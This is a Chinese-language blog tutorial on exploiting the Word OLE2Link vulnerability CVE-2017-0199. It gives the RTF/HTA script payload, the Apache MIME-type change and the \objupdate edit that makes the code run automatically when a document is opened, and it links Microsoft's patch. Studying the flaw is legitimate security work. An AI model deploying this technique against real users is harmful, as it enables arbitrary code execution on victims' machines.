CVE-2017-0199 OFFICE OLE2LINK漏洞利用详解
首页 > web安全 > 渗透测试    作者:webbaozi   2017年4月18日 10:54 星期二   热度:1642°   已自动提交收录  
时间:2017-4-18 10:54   热度:1642° 

漏洞概述

fireeye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。

漏洞利用方法

首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:

test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script> 

确保apache配置文件conf/mime.types里面有rtf的content type项:

application/rtf                 rtf 

用word生成一个空白文档,然后在其中插入一个对象。
1-1.png

选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:
2-1.png

这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。
3-1.png

此时在apache配置文件conf/mime.types中把

application/rtf                 rtf 

修改成:

application/hta                 rtf 

重启apache后,清除IE缓存:
4-1.png

再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:
5-1.png

这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:
6-1.png

用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:
7.png

{\object\objautlink\rsltpict 

修改成:

{\object\objautlink\objupdate\rsltpict 

保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:
8.gif

关键点在于objupdate,这个标签的作用是可以自动更新对象,因此无需用户交互。此时已经可以达到通过hta脚本执行任意代码的目的,至于hta脚本就是八仙过海各显神通了。

修复方案

下载微软紧急更新补丁:

https://support.microsoft.com/en-us/help/4014793/title

转自:天择实验室


二维码加载中...
本文作者:webbaozi      文章标题: CVE-2017-0199 OFFICE OLE2LINK漏洞利用详解
本文地址:http://www.webbaozi.com/stcs/62.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1